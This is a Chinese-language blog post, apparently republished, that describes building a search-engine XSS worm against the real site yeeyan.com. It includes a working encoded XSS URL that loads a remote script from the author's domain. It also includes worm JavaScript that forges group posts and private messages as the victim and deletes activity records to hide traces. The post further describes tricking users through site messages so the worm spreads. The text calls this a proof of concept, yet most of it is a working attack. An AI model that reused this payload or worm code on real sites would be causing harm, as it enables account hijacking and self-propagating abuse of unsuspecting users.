Search Engine XSS Worm
作者:余弦
來源:0x37 Security
有挑戰才有意思,為了誕生個Search Engine XSS Worm,這里拿yeeyan做實驗了。譯言http://www.yeeyan.com/是一個“發現、翻譯、閱讀中文之外的互聯網精華”的web2.0網站,過濾系統真BT,不過其搜索引擎存在跨站,它的搜索引擎也真夠BT,轉義單引號、雙引號,并且當搜索值含英文冒號:時就不返回搜索結果。于是我只能這樣構造:
http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E
本來搜索引擎跨站沒什么好玩的,但這次在yeeyan這就可以利用這個易被忽略點來誕生個XSS WORM。蠕蟲要誕生必須解決以下幾點:
Q1、上面這個Search Engine XSS Trap如何包含遠程蠕蟲?
A1、因為蠕蟲的代碼會很多,不可能一次性出現在這個XSS Trap中(對比:復制自身的微型XSS Worm),所以要想辦法利用這個XSS Trap來調用遠程蠕蟲。方法很多,你解碼這個XSS Trap就知道我的方法:)
Q2、如何讓其他驗證用戶訪問這個Search Engine XSS Trap?
A2、 先給某幾位用戶發站內信(借用蠕蟲本身就可以批量發送:)),欺騙其訪問,一旦他們訪問,則這個XSS Trap會調用遠程蠕蟲,蠕蟲會獲取他們的好友信息與他們的信箱信息等等,這里面都有其他用戶的信息。于是這個Search Engine XSS Trap就可以隨站內信系統大量傳播。
Q2、蠕蟲如何獲取訪問Search Engine XSS Trap的用戶標志信息?
A3、這點很重要,蠕蟲的傳播是要很多宿主的,要獲得這些宿主就必須能夠很清晰地獲取特定用戶標志信息,比如他的ID、他的空間地址等等。蠕蟲一旦傳播開,那就是爆發式的:)。
這些問題我都解決了,于是yeeyan的這個Search Engine XSS Worm就成功誕生。蠕蟲部分代碼如下:
var _x=false; if(window.XMLHttpRequest){ _x=new XMLHttpRequest(); }else if(window.ActiveXObject){ _x=new ActiveXObject("Msxml2.XMLHTTP"); if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");} } _1(); function _1(){ var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null); re=/\<a href=\"\/space\/groups\/(.*?)\">/i r=_u.match(re); src="http://www.yeeyan.com/groups/newTopic/"; var _txt="HELLO YEEYAN."; argv_1="\r\n"; argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n"; argv_1+=(_txt+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n"; argv_1+=(""+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n"; argv_1+=(r[1]+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n"; argv_1+=(r[1]+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5--\r\n"; _3or7("POST",src,argv_1); var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null); //刪除記錄只需這樣即可:) _2(); } function _2(){ src="http://www.yeeyan.com/space/compose_message"; var _to="Yasmin"; var _s="yeeyan"; var _m="HELL)" argv_1="\r\n"; argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n"; argv_1+=(_to+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n"; argv_1+=(_s+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n"; argv_1+=(_m+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n"; argv_1+=(""+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n"; argv_1+=("send"+"\r\n"); argv_1+="---------------------7964f8dddeb95fc5--\r\n"; _3or7("POST",src,argv_1); alert(0); } function _3or7(_m,_s,_a){ _x.open(_m,_s,false); if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5"); _x.send(_a); return _x.responseText; }要理解這些代碼可以參考我以前的文章,這里有線索:http://www.0x37.com/post/2.html。我寫這個蠕蟲的目的是驗證http://www.0x37.com/post/2.html我 的這篇文章提到的方法,我只能說老外有點不負責任:),我還得重新編碼,這個方法理論上是行得通的,只是我目前遇到了點麻煩。還是構造HTTP消息頭來 POST蠕蟲信息爽。借用搜索引擎來誕生蠕蟲,我還是第一次這樣做。只要滿足XSS Trap與目標攻擊點在嚴格的同域內就OK。
總結
以上是生活随笔為你收集整理的Search Engine XSS Worm的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 江苏省首个高速公路数字人民币应用场景在南
- 下一篇: 精妙SQL语句【转】